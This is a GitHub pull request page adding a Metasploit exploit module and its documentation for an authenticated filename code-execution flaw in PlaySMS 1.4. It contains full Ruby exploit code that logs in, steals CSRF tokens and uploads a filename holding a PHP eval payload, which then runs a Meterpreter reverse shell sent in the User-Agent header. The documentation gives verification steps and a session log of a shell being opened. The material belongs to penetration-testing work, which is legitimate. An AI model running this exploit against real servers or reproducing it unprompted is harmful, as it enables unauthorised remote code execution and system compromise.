Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

playsms_filename_exec.rb #9944

Merged
merged 8 commits into from May 7, 2018
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
64 changes: 64 additions & 0 deletions documentation/modules/exploit/multi/http/playsms_filename_exec.md
@@ -0,0 +1,64 @@
## Description
this Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. Authenticated Users can upload a file and rename file name with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044]( https://www.exploit-db.com/exploits/42003/))
**NOTE :** This Module is already PULLED but for some reason closed by author Check [#9840](https://github.com/rapid7/metasploit-framework/pull/9840)

## Vulnerable Application
Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz)

## Vulnerable Application Installation Setup.
Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz```

Extract : ```tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz```

Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/```

make config file: ```cp /var/www/html/config-dist.php /var/www/html/config.php```

Change Owner : ```chown -R www-data:www-data /var/www/html/```

Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database.

Now Visit : http://localhost/

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/playsms_filename_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `set targeturi SecreTSMSgatwayLogin`
7. Do: `set username touhid`
8. Do: `set password diana`
9. Do: `check`
```
[*] 10.22.1.10:80 The target appears to be vulnerable.
```
10. Do: `set lport <port>`
11. Do: `set lhost <ip>`
12. Do: `exploit`
13. You should get a shell.

## Options
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Options section can probably be removed in this case.


**TARGETURI**

TARGETURI by default is `/`, however it can be changed.

## Scenarios
### Playsms on Ubuntu Linux
```
msf exploit(multi/http/playsms_filename_exec) > run

[*] Started reverse TCP handler on 10.22.1.3:4444
[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2
[*] Trying to Login ......
[+] Authentication successful : [ touhid:diana ]
[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc
[*] Trying to upload file with malicious Filename Field....
[*] Sending stage (37775 bytes) to 10.22.1.15
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530

meterpreter >
```
189 changes: 189 additions & 0 deletions modules/exploits/multi/http/playsms_filename_exec.rb
@@ -0,0 +1,189 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution',
'Description' => %q{
This Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability
in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file.
Authenticated Users can upload a file and rename file name with a malicious payload.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module
'DarkS3curity' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add CVE reference
CVE-2017-9080

[
['EDB','42003']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])

end

def uri
return target_uri.path
end

def check
res = nil
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end

if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end

return CheckCode::Safe
end

def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})

# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")

cookies = res.get_cookies
print_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle],
})

unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end

# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})

# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful : [ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end


def exploit

cookies = login

# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'list',
}.to_a.shuffle]
})

unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end

# Grabbing CSRF token from body.
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")

# Payload.
evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"

# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
post_data.add_part("agent22", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can the data agent22 be randomized or is that required?
Same question for fncsv.

post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can fncsv_dup be randomized?

data = post_data.to_s

print_status('Trying to upload file with malicious Filename Field....')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider changing to vprint_status.

# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'upload_confirm',
}.to_a.shuffle],
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end